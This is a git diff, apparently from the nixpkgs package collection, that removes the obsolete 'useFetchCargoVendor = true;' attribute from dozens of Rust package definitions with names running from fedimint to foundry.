diff --git a/pkgs/by-name/fe/fedimint/package.nix b/pkgs/by-name/fe/fedimint/package.nix
index 5332b713891e..d5b3b6a440c2 100644
--- a/pkgs/by-name/fe/fedimint/package.nix
+++ b/pkgs/by-name/fe/fedimint/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dhZYOfXepOnt1lQEgrM/y++5V58weiiTMAyMKl2t37Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WElH4AdLlF/BuxRrURUv6xNGUVBZ6hhSFg1p+T3jG54=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fe/fedistar/package.nix b/pkgs/by-name/fe/fedistar/package.nix
index 8ff1fb53244f..338d7c9eddb8 100644
--- a/pkgs/by-name/fe/fedistar/package.nix
+++ b/pkgs/by-name/fe/fedistar/package.nix
@@ -63,7 +63,6 @@ rustPlatform.buildRustPackage {
     ;
   sourceRoot = "${src.name}/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZJgyrFDtzAH3XqDdnJ27Yn+WsTMrZR2+lnkZ6bw6hzg=";
 
   postPatch = ''
diff --git a/pkgs/by-name/fe/felix-fm/package.nix b/pkgs/by-name/fe/felix-fm/package.nix
index b303ecccfc93..d6c1407ee63f 100644
--- a/pkgs/by-name/fe/felix-fm/package.nix
+++ b/pkgs/by-name/fe/felix-fm/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-QslV0MVbIuiFDmd8A69+7nTPAUhDrn/dndZsIiNkeZ8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1JjvfXyjGUHIwJJAlI2pB829kHcPrVmKOp+msDk5Qp4=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/fe/fend/package.nix b/pkgs/by-name/fe/fend/package.nix
index f891dcd6a8e7..67163b9dbd6d 100644
--- a/pkgs/by-name/fe/fend/package.nix
+++ b/pkgs/by-name/fe/fend/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-FaPP7344rb5789CeDv9L4lysiTrK+7UoEbH8IK/6N3k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BFWk91FPJaHccr9LeLq5NQlVrkglMz1W0MPTz0HzOfI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fe/ferium/package.nix b/pkgs/by-name/fe/ferium/package.nix
index 88f212a9f744..bc7692b51c6f 100644
--- a/pkgs/by-name/fe/ferium/package.nix
+++ b/pkgs/by-name/fe/ferium/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eeQjezB6pRdnPADLgDLo8b+bUSP12gfBhFNt/uYCwHU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3YKFKngyLg2ah4GY+LlbPbnVks7/xFawnMf3D1gjmwI=";
 
   # Disable the GUI file picker so that GTK/XDG dependencies aren't used
diff --git a/pkgs/by-name/fe/fernglas/package.nix b/pkgs/by-name/fe/fernglas/package.nix
index 7a1c31602b2e..a0ec146df7d6 100644
--- a/pkgs/by-name/fe/fernglas/package.nix
+++ b/pkgs/by-name/fe/fernglas/package.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FlbOBX/+/LLmoqMJLvu59XuHYmiohIhDc1VjkZu4Wzo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aY5/dIplV8yWaQ2IdWxxC7T1DoKeRjsN5eT+UxsaA1E=";
 
   offlineCache = fetchYarnDeps {
diff --git a/pkgs/by-name/fe/feroxbuster/package.nix b/pkgs/by-name/fe/feroxbuster/package.nix
index 6b13367c1f02..943030b42100 100644
--- a/pkgs/by-name/fe/feroxbuster/package.nix
+++ b/pkgs/by-name/fe/feroxbuster/package.nix
@@ -20,8 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/NgGlXYMxGxpX93SJ6gWgZW21cSSZsgo/WMvRuLw+Bw=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-L5s+P9eerv+O2vBUczGmn0rUMbHQtnF8hVa22wOrTGo=";
 
   OPENSSL_NO_VENDOR = true;
diff --git a/pkgs/by-name/fe/ferrishot/package.nix b/pkgs/by-name/fe/ferrishot/package.nix
index 942ffdc21dee..8ff68f9e5e72 100644
--- a/pkgs/by-name/fe/ferrishot/package.nix
+++ b/pkgs/by-name/fe/ferrishot/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QnIHLkxqL/4s6jgIbGmzR5tqCjH7yJcfpx0AhdxqVKc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TJWS8LzLTQSr+0uw0x38mNJrjYvMzr90URYI8UcRQqc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fe/ferron/package.nix b/pkgs/by-name/fe/ferron/package.nix
index f2d56a9a7f35..3187a7062e5d 100644
--- a/pkgs/by-name/fe/ferron/package.nix
+++ b/pkgs/by-name/fe/ferron/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-Ckz4+B4CxS2S+YbImdqkNGBONTMetxXxZb/J84dB4c0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZK78ftnVb6k19Pv84HMeM5rGit/KxHJRG8JP8mrjCnY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ff/ff2mpv-rust/package.nix b/pkgs/by-name/ff/ff2mpv-rust/package.nix
index 3f7ac2a3e56f..cff424d18a79 100644
--- a/pkgs/by-name/ff/ff2mpv-rust/package.nix
+++ b/pkgs/by-name/ff/ff2mpv-rust/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3ZKVa1pRorzTM6jCXak/aTq9iyDGT7fWLOcCotLYlkc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-80NnJNTyMY6yPjZdkSW6qulR42+dxonMx1TBkMjnhXw=";
 
   postInstall = ''
diff --git a/pkgs/by-name/ff/ffizer/package.nix b/pkgs/by-name/ff/ffizer/package.nix
index dbcd7a4f2b72..5d10e965fc62 100644
--- a/pkgs/by-name/ff/ffizer/package.nix
+++ b/pkgs/by-name/ff/ffizer/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GL1tdWOcbdybPayfShoGnxHsqYi8p+DZ6Eo/8bvWElE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5hsJ6eMiUPOqAzW1bdXTGTP5tY6VM2tTdySpkJl6pAY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ff/ffsend/package.nix b/pkgs/by-name/ff/ffsend/package.nix
index ad64d10cbdaf..f1b8dfb7a351 100644
--- a/pkgs/by-name/ff/ffsend/package.nix
+++ b/pkgs/by-name/ff/ffsend/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-L1j1lXPxy9nWMeED9uzQHV5y7XTE6+DB57rDnXa4kMo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Gv70H3SLgiO7SWKYfCKzBhgAHxhjx3Gv7ZPLrGeQ+HY=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/fh/fh/package.nix b/pkgs/by-name/fh/fh/package.nix
index 1d0e0ae613b0..5e513db2a388 100644
--- a/pkgs/by-name/fh/fh/package.nix
+++ b/pkgs/by-name/fh/fh/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yOqXcn/OMfC97t002V8yzZn1PhuV8lIp5szPA7eys1Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+6/gTY0pqpsq8QByVLbC1KnT2G1CJwLtpIFrUnyzlU0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fi/fido2luks/package.nix b/pkgs/by-name/fi/fido2luks/package.nix
index 1580090c1ae3..fed9f5245cfa 100644
--- a/pkgs/by-name/fi/fido2luks/package.nix
+++ b/pkgs/by-name/fi/fido2luks/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [ cryptsetup ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WJXrT1jLytFkJ0gTE/4GYmfMqgqAyVFKi0SdyYGI/ug=";
 
   meta = {
diff --git a/pkgs/by-name/fi/figma-agent/package.nix b/pkgs/by-name/fi/figma-agent/package.nix
index a342a7e56348..a502ca788cbd 100644
--- a/pkgs/by-name/fi/figma-agent/package.nix
+++ b/pkgs/by-name/fi/figma-agent/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     ./0001-update-time.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4OAce76XCLlngC7BrX8eiQlHo+Mi2Tfrb9t1Rc/gSFA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fi/finalfrontier/package.nix b/pkgs/by-name/fi/finalfrontier/package.nix
index 7d5d4eea806e..e1e6e81b6f5a 100644
--- a/pkgs/by-name/fi/finalfrontier/package.nix
+++ b/pkgs/by-name/fi/finalfrontier/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-bnRzXIYairlBjv2JxU16UXYc5BB3VeKZNiJ4+XDzub4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AQiXRKOXV7kXiu9GbtPE0Rddy93t1Y5tuJmww4xFSaU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fi/finalfusion-utils/package.nix b/pkgs/by-name/fi/finalfusion-utils/package.nix
index 82c0c8fa015f..052e378d1e2a 100644
--- a/pkgs/by-name/fi/finalfusion-utils/package.nix
+++ b/pkgs/by-name/fi/finalfusion-utils/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-suzivynlgk4VvDOC2dQR40n5IJHoJ736+ObdrM9dIqE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-X8ENEtjH1RHU2+VwtkHsyVYK37O8doMlLk94O2BGqy0=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/fi/findex/package.nix b/pkgs/by-name/fi/findex/package.nix
index 11da0a804933..968835617d64 100644
--- a/pkgs/by-name/fi/findex/package.nix
+++ b/pkgs/by-name/fi/findex/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IpgmeH5oREstud0nw4i2xYeZcJYG6eCWyw3hhid/DfU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gTuw5UIdyyg7QmpjU4fIPy1oF67uFq2j+M0spIPCG+0=";
 
   postPatch = ''
diff --git a/pkgs/by-name/fi/findomain/package.nix b/pkgs/by-name/fi/findomain/package.nix
index 7df036a80722..af6d01ff2b58 100644
--- a/pkgs/by-name/fi/findomain/package.nix
+++ b/pkgs/by-name/fi/findomain/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5jbKDMULig6j3D5KEQQrHWtsc59x0Tj6n/7kwK/8IME=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4+nRQ8HL4dQMCgeSOrgkaRj0E4HPAC3Nm82AEr1KWJo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fi/firecracker/package.nix b/pkgs/by-name/fi/firecracker/package.nix
index eb2423910fec..2366f3ed4626 100644
--- a/pkgs/by-name/fi/firecracker/package.nix
+++ b/pkgs/by-name/fi/firecracker/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-joypOLe/cagPT+sNd9LEY5ueCPYjK47/RzNZBOZBbHQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/ko1WjJ2Z7B00hcTfqNiOqWj0QmDNDroT9HoaySoeYU=";
 
   # For aws-lc-sys@0.22.0: use external bindgen.
diff --git a/pkgs/by-name/fi/firefoxpwa/package.nix b/pkgs/by-name/fi/firefoxpwa/package.nix
index 42a9d2ea1446..220ba56dfa04 100644
--- a/pkgs/by-name/fi/firefoxpwa/package.nix
+++ b/pkgs/by-name/fi/firefoxpwa/package.nix
@@ -40,7 +40,6 @@ rustPlatform.buildRustPackage rec {
   sourceRoot = "${src.name}/native";
   buildFeatures = [ "immutable-runtime" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-elVthXdjlI9DSQgaIRzu3M72dgGNXGgMiUXEICaBJCQ=";
 
   preConfigure = ''
diff --git a/pkgs/by-name/fi/firezone-gateway/package.nix b/pkgs/by-name/fi/firezone-gateway/package.nix
index 1530340cf7f1..6c0277b22d30 100644
--- a/pkgs/by-name/fi/firezone-gateway/package.nix
+++ b/pkgs/by-name/fi/firezone-gateway/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-C5zCo9G21xrrPzabD/8Tiil8D1RlRG8+3/jLTf5/pTQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eJfRTtLHYOc3M3dOP/VvrC6Qm2ovoR6LQSgCPwntc1M=";
   sourceRoot = "${src.name}/rust";
   buildAndTestSubdir = "gateway";
diff --git a/pkgs/by-name/fi/firezone-gui-client/package.nix b/pkgs/by-name/fi/firezone-gui-client/package.nix
index 73778baf01c2..7436ba853679 100644
--- a/pkgs/by-name/fi/firezone-gui-client/package.nix
+++ b/pkgs/by-name/fi/firezone-gui-client/package.nix
@@ -73,7 +73,6 @@ rustPlatform.buildRustPackage rec {
   pname = "firezone-gui-client";
   inherit version src;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YETCRhECbMTRmNsvOFl7R2YScY6ArjsOYJKdPVuUyGI=";
   sourceRoot = "${src.name}/rust";
   buildAndTestSubdir = "gui-client";
diff --git a/pkgs/by-name/fi/firezone-headless-client/package.nix b/pkgs/by-name/fi/firezone-headless-client/package.nix
index 3b18f16e89aa..8e1b77bb6c65 100644
--- a/pkgs/by-name/fi/firezone-headless-client/package.nix
+++ b/pkgs/by-name/fi/firezone-headless-client/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3iU7AHu3GupqiZEDkuOEb+rFPA2KB1fjVNX1BY4abXc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-p2zLhLFL6NbHvVojQU5+1amf+Kh0jRAbIESPt2vqWwg=";
   sourceRoot = "${src.name}/rust";
   buildAndTestSubdir = "headless-client";
diff --git a/pkgs/by-name/fi/firezone-relay/package.nix b/pkgs/by-name/fi/firezone-relay/package.nix
index 925ed32d72ff..720d3eecd438 100644
--- a/pkgs/by-name/fi/firezone-relay/package.nix
+++ b/pkgs/by-name/fi/firezone-relay/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qDeXAzOeTenL6OIsun/rEfPMo62mQT7RhJEmqemzMsM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uqy4GgYaSX2kM4a37093lHmhvOtNUhkEs6/ZS1bjuYo=";
   sourceRoot = "${src.name}/rust";
   buildAndTestSubdir = "relay";
diff --git a/pkgs/by-name/fi/fishnet/package.nix b/pkgs/by-name/fi/fishnet/package.nix
index d77f785d09e7..3d31e94a59ce 100644
--- a/pkgs/by-name/fi/fishnet/package.nix
+++ b/pkgs/by-name/fi/fishnet/package.nix
@@ -45,7 +45,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     cp -v '${nnueSmall}' 'Fairy-Stockfish/src/${nnueSmallFile}'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WjBrv4GApT7LTnexLDhY7Zni5kLtvUzaGs2YuA3UiHE=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/fi/fishy/package.nix b/pkgs/by-name/fi/fishy/package.nix
index 3546c4c2fd88..87633558cb7e 100644
--- a/pkgs/by-name/fi/fishy/package.nix
+++ b/pkgs/by-name/fi/fishy/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nRkP53v9+VzqHKTsHs+cBeLjh3yASFE18sSEY02NR1s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-F4zbalop1PEb381DctUIzdm3v71b6M/hnuw9BuIEkBU=";
 
   OPENSSL_NO_VENDOR = 1;
diff --git a/pkgs/by-name/fj/fjo/package.nix b/pkgs/by-name/fj/fjo/package.nix
index 8283c7dbc07d..4d4ac652a85e 100644
--- a/pkgs/by-name/fj/fjo/package.nix
+++ b/pkgs/by-name/fj/fjo/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KjH78yqfZoN24TBYyFZuxf7z9poRov0uFYQ8+eq9p/o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iF2hIeRnyYYyyg45c1E3NIR9m7oonY18JlGvFSXy/Lc=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/fl/flaca/package.nix b/pkgs/by-name/fl/flaca/package.nix
index c1fd5efe544d..0aeaac4ec3d9 100644
--- a/pkgs/by-name/fl/flaca/package.nix
+++ b/pkgs/by-name/fl/flaca/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i4eYyS3s7q/1PaqwawpWeDbUHUGEvIfN65xfvpLkOpY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fl/flake-checker/package.nix b/pkgs/by-name/fl/flake-checker/package.nix
index b60939cd7eb0..2c5fd85acacb 100644
--- a/pkgs/by-name/fl/flake-checker/package.nix
+++ b/pkgs/by-name/fl/flake-checker/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-elHpiMGwJ2KnN75EOTjsjpziYfXiRyTeixhY4rd85m0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QS38tAJ1V0Avd7N+Mhexv23oh+kxtmr/qvQZLRwP9zA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fl/flake-edit/package.nix b/pkgs/by-name/fl/flake-edit/package.nix
index 8b01aaab4055..fc963b8fe46b 100644
--- a/pkgs/by-name/fl/flake-edit/package.nix
+++ b/pkgs/by-name/fl/flake-edit/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7n8WANm9AijZYI5nlnevLI+aZtV55teroeQIEld7tkE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hK79yHSneD9OFm+M+RPSfu6HW1MmdpcMLysPIKlFDv8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fl/flamelens/package.nix b/pkgs/by-name/fl/flamelens/package.nix
index d001696af476..4ed7e5e07c1c 100644
--- a/pkgs/by-name/fl/flamelens/package.nix
+++ b/pkgs/by-name/fl/flamelens/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cvsBeV9pdgr8V+82Fw/XZS1Ljq/7ff4JYMHnNxqNvOM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FIIt8RwPaPrVG3D9FoMjR4L81NzUrKZsAeW2AJkBG1o=";
 
   meta = {
diff --git a/pkgs/by-name/fl/flavours/package.nix b/pkgs/by-name/fl/flavours/package.nix
index 2abafb852874..5c292ac1d49d 100644
--- a/pkgs/by-name/fl/flavours/package.nix
+++ b/pkgs/by-name/fl/flavours/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9/2kiLuIyErwZ1O9457WkYbwlsbPY3P8wlH2hW0W1xU=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/fl/flawz/package.nix b/pkgs/by-name/fl/flawz/package.nix
index 3e7ffcc60516..847af98e9b7e 100644
--- a/pkgs/by-name/fl/flawz/package.nix
+++ b/pkgs/by-name/fl/flawz/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7p/BUXrElJutUcRMu+LxdsMxA6lCDnaci0fDaKGsawI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-X2RyavcPOQzuAt347KxfmNtO4YsFdncwUcBWtMfxaRU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fl/flip-link/package.nix b/pkgs/by-name/fl/flip-link/package.nix
index adc4dea819d1..2527561384d8 100644
--- a/pkgs/by-name/fl/flip-link/package.nix
+++ b/pkgs/by-name/fl/flip-link/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Nw43I8EIlNGPptsLVxFBapFp6qdFoUOEicHc9FTcm2g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LYIgMKXaXN5gh+MvHf03za7qPJ8N8Ww7ykWB5TYOqkw=";
 
   buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/by-name/fl/flirt/package.nix b/pkgs/by-name/fl/flirt/package.nix
index 44a371575669..9ed8058c41c1 100644
--- a/pkgs/by-name/fl/flirt/package.nix
+++ b/pkgs/by-name/fl/flirt/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wH6WLLUqUj5YrrudNbGkzZ4i15xRPDBE3UKwyhkQSxg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m1aLJFa6C5X9HwNweezoUcFnpG09AuYf9ooet8GUGFE=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/fl/flitter/package.nix b/pkgs/by-name/fl/flitter/package.nix
index 2296d8f9d0ae..0b14bbbf32cf 100644
--- a/pkgs/by-name/fl/flitter/package.nix
+++ b/pkgs/by-name/fl/flitter/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LG4gCpV4NUOuQMjGIjjX+pc9dL/IG6pzy3J5cDfUE5k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-V+GsBEyGNI+13TsIci5GC0VW5BYPCGDAlpaj9DQWjCg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fl/flowgger/package.nix b/pkgs/by-name/fl/flowgger/package.nix
index bc98069621dd..b5b2be0adc5a 100644
--- a/pkgs/by-name/fl/flowgger/package.nix
+++ b/pkgs/by-name/fl/flowgger/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eybahv1A/AIpAXGj6/md8k+b9fu9gSchU16fnAWZP2s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-50/rg1Bo8wEpD9UT1EWIKNLglZLS1FigoPtZudDaL4c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fl/flutter_rust_bridge_codegen/package.nix b/pkgs/by-name/fl/flutter_rust_bridge_codegen/package.nix
index 9897087b6870..15399ed77b84 100644
--- a/pkgs/by-name/fl/flutter_rust_bridge_codegen/package.nix
+++ b/pkgs/by-name/fl/flutter_rust_bridge_codegen/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-efMA8VJaQlqClAmjJ3zIYLUfnuj62vEIBKsz0l3CWxA=";
   cargoBuildFlags = "--package flutter_rust_bridge_codegen";
   cargoTestFlags = "--package flutter_rust_bridge_codegen";
diff --git a/pkgs/by-name/fm/fm/package.nix b/pkgs/by-name/fm/fm/package.nix
index 3e26d999a7eb..25e68ac0a0ee 100644
--- a/pkgs/by-name/fm/fm/package.nix
+++ b/pkgs/by-name/fm/fm/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-fCufqCy5H5Up6V15sOz8SJrixth7OQ7tc4yIymmfq1M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5B5TIFsfg7fWF5OEq0xVfkIUm1nlkvGfupr5qUtaiwA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fn/fnm/package.nix b/pkgs/by-name/fn/fnm/package.nix
index 43905399e693..958963776a6a 100644
--- a/pkgs/by-name/fn/fnm/package.nix
+++ b/pkgs/by-name/fn/fnm/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mxYTV3kNetIHB8XcvFdqp7t78E9EzMdMgD4ENIAYyec=";
 
   doCheck = false;
diff --git a/pkgs/by-name/fo/fontfor/package.nix b/pkgs/by-name/fo/fontfor/package.nix
index 165b36aab0a5..7a6c948d294f 100644
--- a/pkgs/by-name/fo/fontfor/package.nix
+++ b/pkgs/by-name/fo/fontfor/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     freetype
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TOoNfGYQTr5UZeyasslJU9GRIAnH3p2a9UIFz8IJv7A=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/fo/foodfetch/package.nix b/pkgs/by-name/fo/foodfetch/package.nix
index fc4cfca5c529..a06a9ecec012 100644
--- a/pkgs/by-name/fo/foodfetch/package.nix
+++ b/pkgs/by-name/fo/foodfetch/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-TUgj3zS18lCtkyxYrG4f156YqFSCGXzfbK6b+Owacto=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZPV6sDQHV+G0HxRAVlcilh4tCCQspTnxnH1aHxVP8tI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/fo/forecast/package.nix b/pkgs/by-name/fo/forecast/package.nix
index 016057443577..fd3a14a56d55 100644
--- a/pkgs/by-name/fo/forecast/package.nix
+++ b/pkgs/by-name/fo/forecast/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-sD6aGpU1gET+0YPCD8wtxJWEJgWE/xYTWQAaIu2+e/8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mqZ2tIZzQWU39SMj8UBnScsGAg4xGhkcm51aXx3UBSk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fo/forgejo-cli/package.nix b/pkgs/by-name/fo/forgejo-cli/package.nix
index ebc489b772c5..6f3439873a69 100644
--- a/pkgs/by-name/fo/forgejo-cli/package.nix
+++ b/pkgs/by-name/fo/forgejo-cli/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-8KPR7Fx26hj5glKDjczCLP6GgQBUsA5TpjhO5UZOpik=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kW7Pexydkosaufk1e8P5FaY+dgkeeTG5qgJxestWkVs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fo/formatjson5/package.nix b/pkgs/by-name/fo/formatjson5/package.nix
index e77a03029509..505c3f073f8a 100644
--- a/pkgs/by-name/fo/formatjson5/package.nix
+++ b/pkgs/by-name/fo/formatjson5/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1CSt9dPVHdOqfQXio7/eXiDLWt+iOe6Qj+VtWblwSDE=";
 
   cargoBuildFlags = [ "--example formatjson5" ];
diff --git a/pkgs/by-name/fo/fortanix-sgx-tools/package.nix b/pkgs/by-name/fo/fortanix-sgx-tools/package.nix
index 2a3da5f97053..7100f5a51aa5 100644
--- a/pkgs/by-name/fo/fortanix-sgx-tools/package.nix
+++ b/pkgs/by-name/fo/fortanix-sgx-tools/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage rec {
     inherit pname version;
     hash = "sha256-F0lZG1neAPVvyOxUtDPv0t7o+ZC+aQRtpFeq55QwcmE=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-FNMNHn1M0JzsgFqxXLUU3sEn7VB+YHVsWQCYVSxbUEg=";
   meta = {
     description = "Tools for building and running enclaves for the Fortanix SGX ABI";
diff --git a/pkgs/by-name/fo/fortune-kind/package.nix b/pkgs/by-name/fo/fortune-kind/package.nix
index 38f0b63a5d0b..b32054961427 100644
--- a/pkgs/by-name/fo/fortune-kind/package.nix
+++ b/pkgs/by-name/fo/fortune-kind/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Tpg0Jq2EhkwQuz5ZOtv6Rb5YESSlmzLoJPTxYJNNgac=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Kp3pv9amEz9oFMDhz0IZDmhpsok5VgrvJZfwSPyz2X0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fo/foundry/package.nix b/pkgs/by-name/fo/foundry/package.nix
index 7107d1f07d01..db6448dd1faf 100644
--- a/pkgs/by-name/fo/foundry/package.nix
+++ b/pkgs/by-name/fo/foundry/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bFr1mzp1evaCJsVj5H20ShoaGMJ1TPB/91Yd37ZGNsI=";
   };
 
-  useFetchCargoVendor = true;
